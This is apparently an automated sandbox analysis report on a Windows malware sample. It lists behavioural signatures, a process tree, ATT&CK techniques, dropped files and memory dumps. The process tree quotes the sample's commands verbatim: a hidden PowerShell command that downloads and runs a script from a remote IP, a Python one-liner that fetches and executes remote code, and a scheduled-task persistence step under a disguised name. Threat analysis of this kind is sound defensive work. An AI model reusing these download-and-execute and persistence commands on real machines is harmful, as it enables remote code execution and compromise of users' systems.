Analysis
- max time kernel
149s - max time network
122s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260618-en - resource tags
- submitted
25/06/2026, 10:21
General
- Target _5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe
- Size 237KB
- Sample260625-mdncjaa14m
- SHA256 5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs
Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Executes dropped EXE 2 IoCs
- Loads dropped DLL 15 IoCs
- Enumerates connected drives 3 TTPs 2 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Checks SCSI registry key(s) 3 TTPs 62 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
- Modifies Internet Explorer settings 1 TTPs 1 IoCs
- Modifies registry class 38 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 7 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 54 IoCs
- Suspicious use of SendNotifyMessage 40 IoCs
- Suspicious use of SetWindowsHookEx 3 IoCs
- Suspicious use of WriteProcessMemory 24 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\_5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe"C:\Users\Admin\AppData\Local\Temp\_5f27e5ff66ebf67d9510b0f7059fa19d1319ad1e94f56708ea451623b89d928c.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command Start-Process powershell.exe -WindowStyle Hidden -ArgumentList '-NoProfile','-ExecutionPolicy','Bypass','-Command','irm http://89.167.80.106/py | iex'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command irm http://89.167.80.106/py | iex3⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\PythonPortable\py\python.exe"C:\Users\Admin\AppData\Local\PythonPortable\py\python.exe" --version4⤵
- Executes dropped EXE
- Loads dropped DLL
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C:\Users\Admin\AppData\Local\PythonPortable\py\python.exe"C:\Users\Admin\AppData\Local\PythonPortable\py\python.exe" -c "import os import urllib.request as u os.environ['PY_PORTABLE_HOME'] = r'C:\Users\Admin\AppData\Local\PythonPortable\py' src = u.urlopen(r'http://89.167.80.106/py1', timeout=60).read() exec(compile(src, r'http://89.167.80.106/py1', 'exec'), {'__name__': '__main__'})"4⤵
- Executes dropped EXE
- Loads dropped DLL
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /tn \InteractiveServices\MicrosoftWSManManagementActivitiesTask.CL_NFTS-1-5-21-2289519114-2956110270-1748446682-1000 /xml C:\Users\Admin\AppData\Roaming\Disabled.xml /f2⤵
- Scheduled Task/Job: Scheduled Task
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\mef50ad5\mef50ad5.cmdline"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6DD3.tmp" "c:\Users\Admin\AppData\Local\Temp\mef50ad5\CSCE35883EE98243EB9BCDE5151EDFCB7.TMP"3⤵
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\4j3euawa\4j3euawa.cmdline"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6ECD.tmp" "c:\Users\Admin\AppData\Local\Temp\4j3euawa\CSCB43C67C19359481DB5A558655CF109.TMP"3⤵
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\tcry3vkh\tcry3vkh.cmdline"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6FF6.tmp" "c:\Users\Admin\AppData\Local\Temp\tcry3vkh\CSC242C106F1C1F41E0909B6728C86123DA.TMP"3⤵
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\qpkza4yw\qpkza4yw.cmdline"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES711F.tmp" "c:\Users\Admin\AppData\Local\Temp\qpkza4yw\CSCB0BDB4B7A44D40ACBBCBAB4411E78E6.TMP"3⤵
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\gcphad5c\gcphad5c.cmdline"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7209.tmp" "c:\Users\Admin\AppData\Local\Temp\gcphad5c\CSC82C290FAB0564C6D9773CFA277ABCC44.TMP"3⤵
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ctvi04g1\ctvi04g1.cmdline"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES742C.tmp" "c:\Users\Admin\AppData\Local\Temp\ctvi04g1\CSCEE7419E880314D918D526D1284D159DD.TMP"3⤵
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C:\Windows\system32\systeminfo.exe"C:\Windows\system32\systeminfo.exe"2⤵
- Gathers system information
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C:\Windows\system32\findstr.exe"C:\Windows\system32\findstr.exe" /B "/C:OS Name" /B "/C:OS Version"2⤵
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C:\Windows\system32\cscript.exe"C:\Windows\system32\cscript.exe" C:\Windows\System32\slmgr.vbs /dlv2⤵
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C:\Windows\system32\cscript.exe"C:\Windows\system32\cscript.exe" C:\Windows\System32\slmgr.vbs /dlv2⤵
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C:\Windows\System32\at.exe"C:\Windows\System32\at.exe"2⤵
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C:\Windows\System32\subst.exe"C:\Windows\System32\subst.exe" /hyYK3ubRtKnk3TsrbyrfDwspiOJ1⤵
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C:\Windows\system32\sihost.exesihost.exe1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
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C:\Windows\explorer.exeexplorer.exe /LOADSAVEDWINDOWS2⤵
- Boot or Logon Autostart Execution: Active Setup
- Enumerates connected drives
- Checks SCSI registry key(s)
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
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C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
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C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Active Setup
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Active Setup
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
ModuleAnalysisCache
StartupProfileData-NonInteractive
prep_Activatable Class_Hermes_perf.cache
VCRUNTIME140.dll
_bz2.pyd
_hashlib.pyd
_lzma.pyd
_socket.pyd
_ssl.pyd
_zstd.pyd
libcrypto-3.dll
libssl-3.dll
python.exe
python3.dll
python314._pth
python314.dll
python314.zip
unicodedata.pyd
4j3euawa.dll
RES6DD3.tmp
RES6ECD.tmp
RES6FF6.tmp
RES711F.tmp
RES7209.tmp
RES742C.tmp
__PSScriptPolicyTest_e0y3u5vr.beh.ps1
gcphad5c.dll
mef50ad5.dll
qpkza4yw.dll
tcry3vkh.dll
Disabled.xml
4j3euawa.0.cs
4j3euawa.cmdline
CSCB43C67C19359481DB5A558655CF109.TMP
CSCEE7419E880314D918D526D1284D159DD.TMP
ctvi04g1.0.cs
ctvi04g1.cmdline
CSC82C290FAB0564C6D9773CFA277ABCC44.TMP
gcphad5c.0.cs
gcphad5c.cmdline
CSCE35883EE98243EB9BCDE5151EDFCB7.TMP
mef50ad5.0.cs
mef50ad5.cmdline
CSCB0BDB4B7A44D40ACBBCBAB4411E78E6.TMP
qpkza4yw.0.cs
qpkza4yw.cmdline
CSC242C106F1C1F41E0909B6728C86123DA.TMP
tcry3vkh.0.cs
tcry3vkh.cmdline
memory/1288-36-0x00007FFEEA760000-0x00007FFEEB104000-memory.dmp
memory/1288-232-0x000000001B860000-0x000000001B868000-memory.dmp
memory/1288-35-0x00007FFEEA760000-0x00007FFEEB104000-memory.dmp
memory/1288-34-0x000000001D370000-0x000000001D394000-memory.dmp
memory/1288-33-0x000000001D370000-0x000000001D39A000-memory.dmp
memory/1288-32-0x00007FFEEA760000-0x00007FFEEB104000-memory.dmp
memory/1288-31-0x00007FFEEA760000-0x00007FFEEB104000-memory.dmp
memory/1288-30-0x000000001D480000-0x000000001D48A000-memory.dmp
memory/1288-29-0x000000001D450000-0x000000001D45A000-memory.dmp
memory/1288-28-0x000000001D460000-0x000000001D47E000-memory.dmp
memory/1288-27-0x000000001D350000-0x000000001D35A000-memory.dmp
memory/1288-26-0x000000001D380000-0x000000001D432000-memory.dmp
memory/1288-25-0x000000001D360000-0x000000001D37E000-memory.dmp
memory/1288-18-0x000000001CF30000-0x000000001D0F2000-memory.dmp
memory/1288-17-0x00007FFEEA760000-0x00007FFEEB104000-memory.dmp
memory/1288-49-0x000000001D5D0000-0x000000001D5EC000-memory.dmp
memory/1288-520-0x00007FFEEA760000-0x00007FFEEB104000-memory.dmp
memory/1288-1-0x00007FFEEA8EF000-0x00007FFEEA8F0000-memory.dmp
memory/1288-101-0x00007FFEEA760000-0x00007FFEEB104000-memory.dmp
memory/1288-16-0x00007FFEEA760000-0x00007FFEEB104000-memory.dmp
memory/1288-15-0x00007FFEEA760000-0x00007FFEEB104000-memory.dmp
memory/1288-284-0x000000001B830000-0x000000001B838000-memory.dmp
memory/1288-56-0x000000001D5A0000-0x000000001D5A8000-memory.dmp
memory/1288-63-0x000000001D5B0000-0x000000001D5B6000-memory.dmp
memory/1288-300-0x00007FFEEA760000-0x00007FFEEB104000-memory.dmp
memory/1288-14-0x00007FFEEA760000-0x00007FFEEB104000-memory.dmp
memory/1288-245-0x000000001B870000-0x000000001B878000-memory.dmp
memory/1288-13-0x00007FFEEA760000-0x00007FFEEB104000-memory.dmp
memory/1288-298-0x000000001EA60000-0x000000001EF88000-memory.dmp
memory/1288-297-0x00007FFEEA760000-0x00007FFEEB104000-memory.dmp
memory/1288-296-0x000000001B8C0000-0x000000001B8C8000-memory.dmp
memory/1288-12-0x00007FFEEA760000-0x00007FFEEB104000-memory.dmp
memory/1288-70-0x000000001D5C0000-0x000000001D5CA000-memory.dmp
memory/1288-258-0x000000001B800000-0x000000001B808000-memory.dmp
memory/1288-2-0x00007FFEEA760000-0x00007FFEEB104000-memory.dmp
memory/1288-71-0x00007FFEEA760000-0x00007FFEEB104000-memory.dmp
memory/1288-72-0x00007FFEEA760000-0x00007FFEEB104000-memory.dmp
memory/1288-11-0x00007FFEEA760000-0x00007FFEEB104000-memory.dmp
memory/1288-271-0x000000001B820000-0x000000001B828000-memory.dmp
memory/1288-0-0x00000000004D0000-0x000000000050E000-memory.dmp
memory/1288-73-0x00007FFEEA760000-0x00007FFEEB104000-memory.dmp
memory/1288-9-0x00007FFEEA760000-0x00007FFEEB104000-memory.dmp
memory/1288-74-0x00007FFEEA760000-0x00007FFEEB104000-memory.dmp
memory/1288-10-0x0000000002850000-0x0000000002872000-memory.dmp
memory/1376-86-0x00007FFEEA760000-0x00007FFEEB104000-memory.dmp
memory/1376-80-0x00007FFEEA760000-0x00007FFEEB104000-memory.dmp
memory/1376-81-0x00007FFEEA760000-0x00007FFEEB104000-memory.dmp
memory/1376-83-0x00007FFEEA760000-0x00007FFEEB104000-memory.dmp
memory/1376-84-0x00007FFEEA760000-0x00007FFEEB104000-memory.dmp
memory/1376-85-0x00007FFEEA760000-0x00007FFEEB104000-memory.dmp
memory/1376-87-0x00007FFEEA760000-0x00007FFEEB104000-memory.dmp
memory/1376-88-0x00007FFEEA760000-0x00007FFEEB104000-memory.dmp
memory/1376-91-0x00007FFEEA760000-0x00007FFEEB104000-memory.dmp
memory/1376-92-0x00007FFEEA760000-0x00007FFEEB104000-memory.dmp
memory/3428-518-0x0000021A3A270000-0x0000021A3A36F000-memory.dmp
memory/4532-105-0x000001522C7A0000-0x000001522C7AA000-memory.dmp
memory/4532-104-0x000001522CC20000-0x000001522CC32000-memory.dmp
memory/4988-304-0x000002DCAA780000-0x000002DCAA7C1000-memory.dmp
memory/4988-302-0x000002DCAA780000-0x000002DCAA7C1000-memory.dmp
memory/4988-301-0x000002DCAA780000-0x000002DCAA7C1000-memory.dmp
memory/4988-305-0x000002DCAA780000-0x000002DCAA7C1000-memory.dmp
memory/4988-303-0x000002DCAA780000-0x000002DCAA7C1000-memory.dmp
memory/5520-332-0x0000011485A10000-0x0000011485B10000-memory.dmp
memory/5520-336-0x0000011489240000-0x0000011489260000-memory.dmp
memory/5520-337-0x0000011489650000-0x0000011489750000-memory.dmp
memory/5520-377-0x0000011499A90000-0x0000011499AB0000-memory.dmp
memory/5520-345-0x0000011489570000-0x0000011489590000-memory.dmp